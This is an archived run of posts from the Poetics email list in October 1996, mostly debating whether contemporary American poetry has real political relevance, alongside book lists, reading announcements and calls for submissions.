Poetry is political but not relevantly so? You get tangled on this word, as if it makes sense to use 'relevant' without hinging it to some context: eg. 'poetry is

not relevant to a present political situation in which only direct action has force'etc. But I don't think you can lay out that context without great difficulty.

Sure Ron Silliman's poetry doesn't have the save 'effect' (if that's now a synonym for relevance) as Black Panther's activism; but it is relevant to my politics and to a political world. Frankly Jeff, we could use a yes-and logic here, rather than either-or.

And the idea that the 'relevant political' action must get you in trouble, that being 'acknowledged' by the state/powers etc. determines relevance mistakes surface effect for deep politics. Charmed as I was to see protestors smashing the windows in downtown Buffalo outside a Bob Dole rally early in the campaign, I'm pretty certain that the simple political conversations which take place in my English 201 will having longer lasting and deeper implications.

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598. **Joseph Lease**
Re: politics & poetry
Tue 29 Oct 1996

Inasmuch as anything on the subject of poetry and politics can ever be factually correct this point is factually correct: however and this is a big however Charles Bernstein is also one hundred percent accurate in applying a critiqe of the American ideology of individualism and liberal democracy to American verse culture

Joseph

On Tue, 29 Oct 1996, Simon Schuchat wrote:

> *I am somewhat baffled by the idea that poetry doesn't effect "practical politics." Seems to me that Allen Ginsberg and Gary Synder have had a greater political impact on the United States than all but a handful of members of the Senate in the past 50 years. Not every poet has a political impact in this narrow practical political sense (not every poet wants to, and not every poet that wants to succeeds), but the impact is there.*

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599. **Joseph Lease**
Re: politics & poetry
Tue 29 Oct 1996

What about poets and readers: isn't that how poetry's role in pedagogical institutions gets changed

Joseph

On Mon, 28 Oct 1996, Stephen Cope wrote:

> *I think Kieth Tuma's right to point out poetry's role in pedagogical instituions as one primary way in which its politics is marked. It would be hard to argue, for instance, that the reproduction of certain idoelogical orientations hasn't been central to the project of New Crticism (particularly as it survives in the majority of college-level writing workshops). See Jed Rasula's _The American Poetry Wax Museum_ for more on this...*
>
> *Of course, this isn't an argument for the political "efficacy" of poetics, only for poetry's role as a carrier of various assumptions, and thus as a site for the unsettling of such assumptions...*
>
> *-Stephen Cope*

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600. **Joseph Lease**
Re: politics & poetry
Tue 29 Oct 1996

Forgive my ignorance, but who is Walter Kalajian (this spelling a phonetic guess) and what has he written on Language poetry?

Thank you to all.

Joseph

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601. **Joseph Lease**
Re: "Politics"? "Poetry"?
Tue 29 Oct 1996

Well, political is one of those ultraproblematic words but in a post-Frankfurt School culture it has to have meanings that adhere to spheres of culture and can be read alongside praxis, I think.

Joseph Lease

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602. **Joseph Lease**
Re: "Politics"? "Poetry"?
Tue 29 Oct 1996

PS

By culture I mean everything, the not me as Emerson put it, everything from a Sesame Street to a factory to Eros and everything else

when we talk about politics and poetry we are talking about Vico, right: poets were the first lawgivers historians theologians philosophers of language and cosmology: Vico's materialist critique anticipates much early Marxism

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603. **Joseph Lease**
Re: politics, poetry, etc etc
Tue 29 Oct 1996

I suggest that Ginsberg and Snyder have been effective inasmuch as they have changed the dialogue: imagine America without Allen Ginsberg for a second: it would be even worse than it is and we wouldn't have his example to argue about and be inspired by

On Tue, 29 Oct 1996, Daniel Bouchard wrote:

> *To my reading of Jefferson's post, "politics" referred to US government policy. His point, again from my perspective, was that poetry being written today (and the poetry of the last 30 years) is politically irrelevant because it comes nowhere close to affecting government policy (policies), the policy makers or their constituents on any significant level, DESPITE the opposite claims of many poets writing today.*
>
> *The obvious Poetics list reaction is to break down the term "politics" (the politics of saying howdy, the politics of this-n-that, etc). Can anyone refute Jeff's statements? I cannot. Someone mentioned Ginsberg and Snyder, but failed to offer exactly HOW their wonderfully political poetry has been effective.*
>
> [redacted]

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604. **Joseph Lease**
Re: JH and Political poetry
Tue 29 Oct 1996

I agree that we need a yes and logic not either or

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605. **henry g**
Re: politics, poetry, etc etc
Tue 29 Oct 1996

On Tue, 29 Oct 1996 12:41:39 EST Daniel Bouchard said:
>His point, again from my perspective, was that poetry being written today (and
>the poetry of the last 30 years) is politically irrelevant because it comes
>nowhere close to affecting government policy (policies), the policy makers or
>their constituents on any significant level, DESPITE the opposite claims of
>many poets writing today.
>
>The obvious Poetics list reaction is to break down the term "politics" (the
>politics of saying howdy, the politics of this-n-that, etc). Can anyone refute
>Jeff's statements? I cannot. Someone mentioned Ginsberg and Snyder, but
>failed to offer exactly HOW their wonderfully political poetry has been
>effective.
>

Let's assume Jeff is right (though maybe many aren't ready to do so). The interesting question then, is why has the poetry of the last 30 years been politically irrelevant?

Good question. I don't have a clue! But here are some possibilities:

1. Poetry in general is irrelevant in U.S. People don't read books or listen to such things before deciding what to think or do. "Literature" is immersed in & superceded by pop culture. Bob Dylan, at least in the early 60s, was most effective political poet (c.f. "Masters of War" etc.) Jefferson Airplane a close 2nd.

2. Poetry in US is too busy being at war with itself, since New Critics dehydrated it & Beats soaked it in "tea" etc. Style politics are poetry's version of "identity politics".

3. US, as hegemonic democracy/empire, is in curious position of having freedom to continually argue about & redefine itself. There is no clear benchmark or ground-bass upon which a penetrating political poetry can assume a common audience. & freedom of speech brightens the background, against which poetry, rather than standing out, is camouflaged.

4. The poets who can really MAKE good political poetry have yet to appear.

etc. but I'm going to shut up for a few seconds. this is getting interesting, I don't want to put myself to sleep (wake up, America!!!zzz) - Henry G

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606. Rod Smith
new Moxley, Niedecker, Rothenberg, Satie, at Bridge Street
Tue 29 Oct 1996

---

so so many many books books

1. _Funk Lore: New Poems (1984-1995)_ by Amiri Baraka, Littoral Books, $11.95. "All that is is funky"

2. _Wittgenstein Reads Freud: The Myth of the Unconsicous_ by Jacques Bouveresse, Princeton, $11.95. "We understand, then, that psychological, psychophysiological, linguistic, psycholinguistic factors and the like will be relegated to the background in all cases that might come up."

3. _Powerless: Selected Poems 1973-1990_ by Tim Dlugos, edited by David Trinidad, with an introduction by Dennis Cooper, Serpent's Tail, $12.99. "I didn't mean to put this down so soon, I wanted to lead up to it. . ."

4. _Quill, Solitary Apparition_ by Barbara Guest, Post-Apollo, $12.95. "marked: the logic (of no other place); if // in the game --------- (a wild king is drawn)". This may be my favorite Guest book.

5. _Mexico City Blues (242 Choruses)_ by Jack Kerouac, read by Allen Ginsberg, 2 cassettes (3 hours), Shambabla, $18. "DEPEND ON VAST MOTIONLESS THOUGHT"

6. _Julia Kristeva Interviews_ ed. Ross Mitchell Guberman, Columbia, $15.50. "Primarily, it is cathartic and extremely reconstitutional for the writer."

7. _Basic Philosophical Writings_ by Emmanuel Levinas, ed Peperzak, Critchley, and Bernasconi, Indiana, $14.95. "How is a response made?" Five of the ten essays included here appear in English for the first time.

8. _Collected Poems_ by Stephane Mallarme, translated and with commentary by Henry Weinfield, California, $18.95. Simply to have "Un Coup de Des" typeset so beautifully is worth the price of this book. (& yes, I realize I'm eliding the diacritical marks.)

9. _Aesthetic Ideology_ by Paul de Man, Minnesota, $19.95. "But things are not quite so simple."

10. _The Prospect of Release_ by Tom Mandel, Chax, $12.95. "I am he who said to the world '_Stop!_'"

11. _Imagination Verses_ by Jennifer Moxley (with a preface by the author), Tender Buttons, $8.95. Moxley manages a genuinely public poetry without sacrificing the cognitive and emotional dissonance that is our tired lot here, in monogomy capitalism. Includes the hits "Not on My Seashore," "Fin de Siecle Go-Betweens," "The Bad Choices Spy on Us Girls," and "Ten Prolegomena to Heartbreak." You should not only have this book, you should read it.

12. _Lorine Niedecker: Woman and Poet_ edited by Jenny Penberthy, National Poetry Foundation, $22.50. Contributors include Rachel Blau DuPlessis, Jan Augustine, Marjorie Perloff, Peter Quartermain, Michael Heller, Kenneth Cox, Joseph Conte, many others. A number of Niedecker's letters are included. "I think they know they have a cleaning woman who is a little different from the usual, but it wouldn't do the slightest good to show them how different."

13. _Seedings & Other Poems_ by Jerome Rothenberg, New Directions, $10.95. "_The Funeral of Love_ // is followed by / a gang of poets."

14. _Bertrand Russell: The Spirit of Solitude_ by Ray Monk, Free Press, $35. Those that have read Monk's _Wittgenstein_ know the quality of this writer. "Spiritually we starve and die and pretend to make up for it by duties." --Russell

15. _Pound/Williams: The Selected Letters of Ezra Pound and William Carlos Williams_ edited by Hugh Witemeyer, New Directions, $39.95. "Glad to hear from you."

16. _Gaze and Voice as Love Objects_ edited by Renata Saleci and Slavoj Zizek, Duke, $16.95. ". . . Marx is rendered motionless and can only watch these scenes from his childhood."

17. _A Mammal's Notebook_ by Erik Satie, ed. Ornella Volta, Atlas, $24.99. Beautiful oversize production. Includes Satie's writings for a variety of contexts-- Texts not to be Read Aloud, Texts to be Danced, to be Sung, to be Staged, Epistles, Memoirs of an Amnesic (Fragments), Articles, Talks, Public Advertisements, Private Advertisements, etc. This book o really it's quite fabulous.

& we still have copies of Out of Everywhere, Some Other Kind of Mission, and Sonnets of a Penny-a-Liner, that yous were so hungry for.

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # (including expiration date) & we will send a receipt with the books. We have to charge some postage on orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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607. **Rod Smith**
Re: JH and Political poetry
Tue 29 Oct 1996

> *Poetry is political but not relevantly so?*

or, for largely corporate reasons--

The populace is political but not relevantly so.

Chomsky talks of disagreement with those that argue the importance of "speaking truth to power" because those with power will not/cannot hear. Poetry is one aspect of keeping our humanity intact, it's a real & reasonable resistance/enabler. But it does not stand in for organizing, neither can organizing stand in for poetry.

Jeff's point about politics being "compromise" unfortunately seems less & less the case. Them with all the money's doing what they want more than ever, very little compromise. One feels reduced to nipping at their heels.

Take a bite outta crime,

--Rod

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608. **Kevin Killian**
Re: politics, poetry, etc etc
Tue 29 Oct 1996

At 12:41 PM 10/29/96 -0500, Daniel Bouchard wrote:
>To my reading of Jefferson's post, "politics" referred to US government policy.
>His point, again from my perspective, was that poetry being written today (and
>the poetry of the last 30 years) is politically irrelevant because it comes
>nowhere close to affecting government policy (policies), the policy makers or
>their constituents on any significant level, DESPITE the opposite claims of
>many poets writing today.

This is Dodie. Even though I've been doubtful of "political" poetry having any effectiveness whatsoever (enjoy Spicer's slamming of political poetry in his Berkeley lecture), I think that we have to be leery of setting up any sorts of dualisms like this, i.e. poetry vs. politics. Doing so, we're falling into the very mindset that made the world as f*cked up as it is today.

This thread arose not long after I'd been rereading David Wojanarowicz's "Postcards from America." Wojanarowicz makes a strong case for the necessity of *public* gestures. A couple of excerpts concerning AIDS memorial services:

"I realized halfway through the event that I had witnessed a good number of the same people participating in other previous memorials. What made me angy was realizing that the memorial had little reverberation outside the room it was held in. A tv commericial for handiwipes had a higher impact on the society at large. Š I imagine what it would be like if friends had a demonstration each time a lover or a friend or a stranger died of AIDS. I imagine what it would be like if, each time a lover, friend or stranger died of this disease, their friends, lovers or neighbors would take the dead body and drive with it in a car a hundred miles an hour to wasington d.c. and blast through the gates of the white house and come to a screeching halt before the entrance and dump their lifeless form on the front steps. It would be comforting to see those friends, neighbors, lovers and strangers mark time and place and history in such a public way."

Yesterday I was reading an excerpt from Audre Lorde's _Cancer Journals_ in which she denounced the "travesty of prosthesis" in regards to the immense social pressure placed on women who've had mastectomies to wear breast protheses. Now, I had never thought about this issue before, but Lorde's argument certainly had an impact on me. Lorde's essay isn't "poetry" and it's not likely to change any govenment policies. But if it affects the opinions of random (wo)men like myself over time, of course it's having a political impact.

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609. **henry g**

Re: "Politics"? "Poetry"?

Tue 29 Oct 1996

On Tue, 29 Oct 1996 13:56:48 -0500 Joseph Lease said:
>Well, political is one of those ultraproblematic words but in a
>post-Frankfurt School culture it has to have meanings that adhere to
>spheres of culture and can be read alongside praxis, I think.

POLITICS IN A POST HOTDOG CULTURE (Village Explanation #112 & a half)

He he he was talking I I I think about politics proper,
that is "the art of governance", the realm of force
(force of law or force of arms) whereby
a social order is adhered to & maintained.
In a legislative democracy
the force of law is ultimate authority,
where social order is submitted to the rule

of what mankind at present time considers justice.
Granted such authority then, government, of course, becomes
a nexus of power.

This sense of politics proper, then, the nexus of
power & authority, is grafted into multifarious social
controversies over how to live & who is what & what is good
& so we have a "politics" of this and that & the word
gets ULTRAPROBLEMATIC (i.e. who decides what gets submitted
to legislative adjudication & how).

& the ship sailed on.
Pray heaven wisdom guides the navigators
through the alligators.
(You can always walk down to the State House
& talk to your legislators.) (at least in sleepy, sleazy little Rhody)
- HG

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610. **henry g**
politics post hotdog w/mustard
Tue 29 Oct 1996

P.S.

You can always talk to your legislators
whence the dogged grassroots determination
referred to by our beloved Jefferson
& what goads & leads them on is
an "idea"
& this maybe is where
political poetry
has a role in the
general circular file of conversation

let's go ask Milton, huh?
The foundling fathers
read him like a Bible.
- HG

↑ Index

611. **Jeffrey W. Timmons**
Re: "help"
Tue 29 Oct 1996

On Sat, 26 Oct 1996, Rick Bursky wrote:

> *does anyone know how i can get off this bulletin board*

jump.

kidding.

jeffrey timmons

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612. **Matt Kirschenbaum**
poetry/media/politics
Tue 29 Oct 1996

Saw Craig Baldwin's film _Sonic Outlaws_ today, which is a documentary montage of the Negativeland/U2/Island Records debacle, media pranking, unlicensed sampling, culture jamming by media/arts/activist groups like the Emergency Broadcast Network or the Barbie Liberation Organization, billboard detourning, and a great deal more. Left convinced that if nothing else, "politically" effective poetry, in order to be so, must be responsive to the media ecology. That's when (where) art finds its interface with public policy, and things like copyright and intellectual property laws, FCC regulations, and yelling fire in a crowded movie theater become *relevant*.

(I don't want to homogenize the word "media", by the way; Martin Spinelli's recent _Postmodern Culture_ piece on the Internet and broadcast radio is compelling in this regard . . .)

--Matt

========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k Electronic Text Center

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613. **Andrew D Epstein**
Gary Snyder Reading (NYC)
Tue 29 Oct 1996

Hi list! This message is meant to announce and invite anyone in the area to a poetry reading presented by the F. W. Dupee Poetry Reading Series at

Columbia University (this series, put together by Kenneth Koch, has featured in the last two years, among others, John Ashbery & Michel Deguy, Mark Halliday and Jill Rosser, Ron Padgett and Anne Porter, Ron Silliman and Lyn Hejinian, Allen Ginsberg and David Shapiro, David Lehman and Charles North, and later this year will feature Alice Notley and Vincent Katz).

POETRY READING
Gary Snyder
Introduced by Kenneth Koch
Wednesday, November 6
8 PM
Maison Francaise
Columbia University
(116th & Broadway -- take the 1 or 9 subway)
Admission is Free
Reception will follow the reading

Gary Snyder is the author of many books of poetry and prose, including the Pulitzer-Prize winning _Turtle Island_ (1974), _No Nature: New & Selected Poems_ (1992), and most recently, _Mountains and Rivers without End_ (1996).

Please come to the reading if you can make it!

Thanks --

Andrew Epstein
Columbia University

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614. **Mark W Scroggins**
Re: politics, poetry, etc etc
Tue 29 Oct 1996

One defends Ransom (at least in this venue) with some discomfiture. How about Dole = Howard Nemerov?

On Wed, 30 Oct 1996, Simon Schuchat wrote:

> *I submit: Clinton = Vachel Lindsay*
> *Dole = John Crowe Ransom*
>
> *On Tue, 29 Oct 1996, Thomas Bell wrote:*
>
> *Surely if the conversation concerns current American national politics the focus would be on the fiction of politics rather than the poetry? I would think the poetics of the media merit evaluation?*

> *Are Dole's handlers new formalist,*
> *Clinton a free spirit,*
> *and Perot experimental?*
>
> *tom bell*

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615. **Thomas Bell**
Re: politics, poetry, etc etc
Tue 29 Oct 1996

Surely if the conversation concerns current American national politics the focus would be on the fiction of politics rather than the poetry? I would think the poetics of the media merit evaluation?

Are Dole's handlers new formalist,
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and Perot experimental?

tom bell

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616. **Simon Schuchat**
Re: politics, poetry, etc etc
Wed 30 Oct 1996

I submit: Clinton = Vachel Lindsay
Dole = John Crowe Ransom

On Tue, 29 Oct 1996, Thomas Bell wrote:

> *Surely if the conversation concerns current American national politics the focus would be on the fiction of politics rather than the poetry? I would think the poetics of the media merit evaluation?*
>
> *Are Dole's handlers new formalist,*
> *Clinton a free spirit,*
> *and Perot experimental?*
>
> *tom bell*

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617. **Joshua N Schuster**
poetry & politics
Wed 30 Oct 1996

Bill Clinton spoke today at Upenn to a precisely blocked throng. The Secret Service took my wrench at the frisk-zone. Bill showed up late, no surprise, and gave a decent speech (mix of plaisanterie and niaiserie). Somehow he managed to applaud the Greek education system as model, then later did his obligatory techno-celebration by proudly proclaiming even Socks the cat has a homepage. A friend said to me, "This is the most political thing I've done all year." The "Rocky Theme Song" was playing in the background. Is that relevant so? Well, I'll definitely say it was the largest gathering of students I have ever seen (about about 10,000). Out of the many, many more. We were being-political perhaps when we raised our "Clinton/Gore" placards but were we being-political when we left the cardboard for litter on the grass? I was involved, I sweated and swatted other students, applied tip-toes to see president, sneaking glances at someone's beautifully dark green eyes next to me, ditching classes. Is that relevant so? We are losing our ability to experience the world, I think, as I'm stuck behind a very tall person. Politics perhaps, but obviously nothing happened here.

--js

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618. **Rod Smith**
Re: politics, poetry, etc etc
Wed 30 Oct 1996

Simon said:
>I submit: Clinton = Vachel Lindsay
Dole = John Crowe Ransom

Vachel Lindsay committed suicide by drinking Lysol.

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619. **Yunte Huang**
Re: politics & poetry
Wed 30 Oct 1996

Forgive my somewhat blunt critique of that blunt statement. But growing up in a Communist country, it's mighty-rangerly hard for me not to see everything "red." Not an excuse like "my parents kicked my ass hard when I was a kid." But it's something personal, but also political. I can't see the separation of the two. Maintaining a political edge on a personal level could be utopia, but

refusing to see or make it have varying degrees of political effects is self-defeating "no can't do."

It does not take a Mao to be political, who, by the way, was a great poet.

Ah, what about poetry? I would say it depends on who writes, in what way, and for what. That's why I can't accept the notion that "POETRY" is not political. I don't wanna force y'all to accept Steve MacCaffrey's "poetry is politics that stays politics (?)". I would say many poetries and poets do consciously maintain their political edges in their writings. It doesn't influence the outcome of electorial votes? You mean to say that poets or teachers teach students and readers nothing but neutral texts? I know the frustration over the "futility"(?) when you try to stir up something among 1.2 billion people, but as C Bernstein quotes somebody else: "It's impossible, but it's exactly why it's taking place."

Serve the people --Mao Tse-Tung.

Yunte Huang

On Mon, 28 Oct 1996, Joseph Lease wrote:

> *On Mon, 28 Oct 1996, Yunte Huang wrote:*
>
> *"Poetry is not political in the current U.S. context" --Jeff Hansen*
>
> *What poetry? Whose poetry? Whose U.S.???????????????? All like these ??????????? ?*
>
> *This is a huge question. Obviously crucial to all. Should be addressed on the list. One question for the list is can there be a political dialogue (dialogue) as opposed to cacophony.*

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620. **Yunte Huang**
This Place
Wed 30 Oct 1996

To take the occasion of the current "cacophony" over poetry and politics, I send out this call for submissions to a new magazine, _Displace_.

Displace (i.e. This Place, or Dis-place, etc.) focuses on new writings and translations from literary traditions other than _____ (you fill in the blank and define "this place," your place). Poetry, prose, journal entries, translations and commentaries, short essays and reviews, will all be considered. Works-in-

progress which mean (or even if you don't mean it, as they say) to reconsider or challenge ole perspectives and notions of other literary traditions are especially welcome. Recent submissions under considerations include: --Radical new translations from Chinese poetry; --transcriptions of and commentaries on Greek mountain "theft" songs; --readings and commentaries of Zen-Buddist texts; --travel poems from Tibet; --poetic journal entries; --poems.

[Editorial]

Dis place
is de space
were yuh bow
an' tah yo'
shoe lace

Please send your work by snail-mail or e-mail before December 31, 1996 to:

Yunte Huang
193 Pepper Tree Drive
Apt. 8
Amherst, NY 14228

E-mail: [redacted]

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621. Mark Wallace
what's relevant to politics
Wed 30 Oct 1996

While I find Jeff Hansen's recent post, again, as a convincing corrective to overly vague uses of the word "political," I think I find myself also agreeing with Rod Smith when he starts talking about how many of the central concerns of most people in the U.S. are not relevant to politics "here" (my apologies to those on the list who aren't "here"). I'm going to begin a list of things that have no effect on American electoral politics--please feel free to add to it.

Things Not Relevant To American Politics

--The wages of Chief Executive Officers
--What it feels like to be out of work
--Visual Art, Literature, Music
--Widespread Enforced Illiteracy
--Anything which can't be reduced to an economic basis
--The increasing elimination of stable jobs, reasonable wages, health insurance and other necessary benefits
--Critiques of the macho competitors who run U.S. corporations

--Any political alternatives to capitalism, and anyone who objects to making themselves into a saleable product

I could think of more, but I've got to go back to producing.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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622. **Jeff Hansen**
(no subject)
Wed 30 Oct 1996

Unfortunately, my server was down for a while and I did not receive all of the responses to the Poetry and Politics post.

Things are winding down, but here's my final thought: If we claim political efficacy as the justification for our poetry, then we are in trouble. Few people other than academic hair splitters will buy it.

Jeff

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623. **henry g**
(no subject)
Wed 30 Oct 1996

On Wed, 30 Oct 1996 08:52:19 -0600 Jeff Hansen said:
>Things are winding down, but here's my final thought: If we claim
>political efficacy as the justification for our poetry, then we are in
>trouble. Few people other than academic hair splitters will buy it.

Yunte Huang, in a fresh air way, & yours truly, in a stuffy fuzzy old wasp yankee way, were saying the same thing, I think: that poetry & politics can be & are integrated in practice (whether it's poetry theater addressed to issues or "political edge" throughout). But politics is power yes, & POLITICAL justification for poetry is another form of the corrupting influence of power. Poetry's cachet is in the poet's independent sense of rightness, with "independent" underlined. Mao was a great poet? I'm not in a position to judge, but his power makes me doubt it. Julius Caesar, though, was a great prose writer. Then again, I'd have

to agree with C. Bernstein "it's impossible, that's why it's happening" (inexact quote)

The poem falls like a stone from heaven.
No one will judge it.
- Osip Mandelstam

- H Gould

p.s. Mark Wallace's excellent list would be good to talk to yr legislators about down at the State House or put into a play (piece of legislation).

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624. **Joe Amato**
new awp...
Wed 30 Oct 1996

---

i wonder if any of you have had a chance to check out the lead article in the new awp chronicle?... under the deceptively simple title "the shape of poetry," paul lake discusses free verse and formalism in the context of chaos theory and the like...

regrettably, i found that the article constitutes yet another in a recent and lengthening line of mixing metaphors on chaos (e.g., poems become 'strange attractors' w/o any discussion of how to conceive of a poem in terms of equilibrium conditions and the like (the slip here, he sez, having to do with situating motivated processes and products, like writing and poetry, in terms similar to natural processes)) and surprisingly (perhaps i shouldn't be so shocked, but i was), it would seem that lake's ultimate aim [and paul---if you're out there someplace, please feel free to respond] is to argue for the superior recursiveness of FORMAL VERSE (!---anybody familar with the sciences of complexity should raise an eyebrow or two here)... here's an excerpt:

"Through parallelisms of syntax and similarities of metaphors and sounds, free verse can sometimes attain isolated expressions of self-similarity in its parts and approximations of order in its overall design; but with fewer rules and less feedback to amplify and vary its constituent elements, it generally fails to achieve the same degree of self-similarity and scaling we find in the best formal verse."

and following g.m.hopkins' lead, lake suggests that "free verse [is] merely *technical* in nature"... key word here, for me, being *nature*...

anyway... along the way, lake provides us with a longish reading of pound & ammons, a quick & dirty reading of olson (who "composed on a typewriter and thought in spatial terms"---which latter prevented him, presumably, from

grasping the temporal dimension proper!) and an insight or two from frederick turner, who, we are informed, "has found what might be the most remarkable use of self-similarity in all of literature in Dante's _Divine Comedy_"---namely, the division of same into threes, to match the trinity, the three line stanza, etc. (and i can only wonder what medieval scholars would say to this)...

if i sound a bit irritated, this is b/c i am!... i wouldn't have minded these and other (somewhat misguided) claims so much if they had not been put in the service of arguing formal hierarchies... but as it stands, lake's piece reads like a quasi-scientific polemic, along the lines of that item i mentioned here some time ago, david whyte's work on poetry and the corporation...

anyway... apologies to gwyn and others who are more directly involved in awp (i'm a member mself), but i thought it worth my time to render some critique here...

best,

joe

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625. **maria damon**

Re: politics, poetry, etc etc

Wed 30 Oct 1996

---

ginsberg i can see somewhat, but snyder?? explain.--md

In message <[redacted]> UB
Poetics discussion group writes:
> I suggest that Ginsberg and Snyder have been effective inasmuch as they
> have changed the dialogue: imagine America without Allen Ginsberg for a
> second: it would be even worse than it is and we wouldn't have his example
> to argue about and be inspired by
>
> On Tue, 29 Oct 1996, Daniel Bouchard wrote:
>
> > To my reading of Jefferson's post, "politics" referred to US government
> > policy.
> > His point, again from my perspective, was that poetry being written today
> > (and
> > the poetry of the last 30 years) is politically irrelevant because it comes
> > nowhere close to affecting government policy (policies), the policy makers
> > or
> > their constituents on any significant level, DESPITE the opposite claims of
> > many poets writing today.

> >
> > The obvious Poetics list reaction is to break down the term "politics" (the
> > politics of saying howdy, the politics of this-n-that, etc). Can anyone
> > refute
> > Jeff's statements? I cannot. Someone mentioned Ginsberg and Snyder, but
> > failed to offer exactly HOW their wonderfully political poetry has been
> > effective.
> >
> >
> > [redacted]
> >

↑ Index

626. **maria damon**
Re: politics & poetry
Wed 30 Oct 1996

---

walter kalaidjian teaches at emory and has written a chapter on langpo in his most recent book called something like, American Culture Between the Wars: Revisionary Modernism and Postmodern Critique (columbia u press). i forget what he sez, tho i read everyword, as i reviewed the book for the journal of english and germanic philology, a journal i've never actually read. xo, md

In message <[redacted]> UB
Poetics discussion group writes:
> Forgive my ignorance, but who is Walter Kalajian (this spelling a phonetic
> guess) and what has he written on Language poetry?
>
> Thank you to all.
>
> Joseph

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627. **henry g**
Re: politics & poetry
Wed 30 Oct 1996

Speaking of poetry with clout, has anybody other than me read the obscure book by Eugenio Zolli in which he argues that Jesus's appellation "the Nazarene" does not refer to his place of birth but to his affiliation (or alleged affiliation) with a spiritual group called the Nazarenes, or "singers", known for chanting proverbs & songs in public poetry recitals? Zolli says that material

like the Sermon on the Mount was probably sung or chanted. Now there's a poet-organizer for you.

Eugenio Zolli, _The Nazarene_.
- H. Gould

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628. maria damon
Re: new awp...
Wed 30 Oct 1996

---

joe a excerpts someone:
> "Through parallelisms of syntax and similarities of metaphors and sounds,
> free verse can sometimes attain isolated expressions of self-similarity in
> its parts and approximations of order in its overall design; but with fewer
> rules and less feedback to amplify and vary its constituent elements, it
> generally fails to achieve the same degree of self-similarity and scaling
> we find in the best formal verse."
>

how does anyone have the patience to read this kind of tedious stuff. you guyzies must really luvvvv poetry to slog thru these kinds of articles ("essay" is too kind a word). how do y'all do it.--md

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629. Susan Schultz
melus conference
Wed 30 Oct 1996

Anyone interested in information about the MELUS conference in Hawai'i next April should write to Ruth Hsu ([redacted]); she's the conference director. It promises to be a great event for reasons post-colonial and otherwise...

Susan

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630. Kevin Killian
Re: New Publication
Wed 30 Oct 1996

This is Kevin Killian. A few dys ago Jennifer Moxley wrote in about her book

> *Imagination Verses by Jennifer Moxley*
>
> *An offset & smyth-sewn paperback of 90pp+ for $8.95*
> *With a Preface by the Author, ISBN 0-927920-07-7*

> *This, my first full length publication, is a collection of lyrics written over the past five years or so. Some of the work included has appeared in such venues as Object, The Baffler, The Exact Change Yearbook#1, Dark Ages Clasp the Daisy Root and my own magazine, The Impercipient.*
>
> *If you would like a copy, they are available from Small Press Distribution (1814 San Pablo Avenue, Berkeley,CA 94702 USA [redacted]) or you can e-mail me at the above address (not Poetics) or write me at 61 East Manning St. Providence RI 02906-4008.*

Later Rod alluded to this book and said, "Moxley manages a genuinely public poetry without sacrificing the cognitive and emotional dissonance that is our tired lot here, in monogomy capitalism." I don't know if I agree with this way of describing "Imagination Verses" but I second him in urging people to get a copy of this book, it is quite interesting and often very intensely beautiful. Half the time I was reading it I was thinking, "I wish I were Jennifer Moxley," and the other half thinking, I'm glad I'm not," (maybe that's RS's emotional dissonance") but I've decided to change my life since reading it.

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631. **Rod Smith**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

>the word
gets ULTRAPROBLEMATIC (i.e. who decides what gets >submitted
to legislative adjudication & how)

this is where it gets very clear I think. it is entirely clear who has significant input on what gets "submitted." This is why I think it more to the point to say that the population doesn't matter, rather than poetry.

--Rod

↑ Index

632. **henry**
Re: "Politics"? "Poetry"?
Wed 30 Oct 1996

On Wed, 30 Oct 1996 12:09:48 -0500 Rod Smith said:
>>the word
>gets ULTRAPROBLEMATIC (i.e. who decides what gets >submitted
>to legislative adjudication & how)
>

>this is where it gets very clear I think. it is entirely clear who has
>significant input on what gets "submitted." This is why I think it more to
>the point to say that the population doesn't matter, rather than poetry.

In other words, you're saying American democracy doesn't work. Just curious - have you ever actually worked on passing state or federal legislation, Rod? I wonder what Jefferson thinks of this (I mean our Jefferson). I hear the barricades pronunciamentos flying toward "poetics" even now. - Henry G

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633. **Pritchett,Pat**
Re: splitting my very last hair
Wed 30 Oct 1996

I thought this thread began with a remark about the politics of politics...

I wholly agree with Aldon: poetry needs no justification. Any other attitude toward it is bureaucratic, to put it politely.

To regard a poem, though, as effecting change in the same way as a piece of legislation is tricky, if not misleading. How do we reduce the container of psychic energy to mere quanta? And in what way does a bill or law function as a similar container?

I've never believed poetry merely to surive in the valley of its own saying or whatever that line from Auden is, but at the same time pointing to cause/effect type changes from poems vis-a-vis public perception of "issues" is slippery business. Duncan & Levertov wrote some trenchant anti-war poems in the 60's, and for me they have not really dated, but how far did they affect a change in perception when they first appeared?

I don't think Aldon, that those Norweigan ads are quite the same thing as "poems;" they ape the shape of poems and are flashy and all - also a way to defeat the mute button on the remote and so are purely practical. More than that, though, they are an acknowledgement that the field of visual perception these days is running on overload. Verse and ads do go together though, mnemonically speaking: there's an ad for Ford Escort right now that rhymes. But that is only doggerel.

Patrick Pritchett

From: Aldon L. Nielsen
To: Multiple recipients of list POETICS
Subject: Re: splitting my very last hair
Date: Wednesday, October 30, 1996 12:48PM

There is a world enough of difference between claiming political efficacy as a justification for poetry and claiming that poetry may/can/does have political efficacy -- I happen to be of the opinion that seeking a justification for poetry is a bit like seeking a justification for my heartbeat -- but I DO know that poets are often place in a position of wanting to justify what they do --

Still, as no doubt others in posts I have not yet read will point out -- This has been a giant case of shifting the question --

There is indeed a politics of poetry, and another politics of poetry publishing --

Some poetry has in fact had observable political effect, and some will again --

There is nothing to condemn in a poet's attempting to examine the politics of his or her own writing, nor is there anything wrong in poets arguing about the politics of their writing practice --

There may be much to question about attempts to divide poetry from politics --

Poets who expect their poetry to have observable political effects outside the realm of readers of poetry may be deceiving themselves, but then again, they may be pleasantly surprised --

Advertisers certainly seem to believe that verse has demonstrable affect -- notice those Norwegian cruise line ads on TV that cop the words on the screen approach of Voices & Visions? against an MTV type video

maybe more to come after I read what all the rest of you are saying

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634. Christina Fairbank Chirot

poelitics

Wed 30 Oct 1996

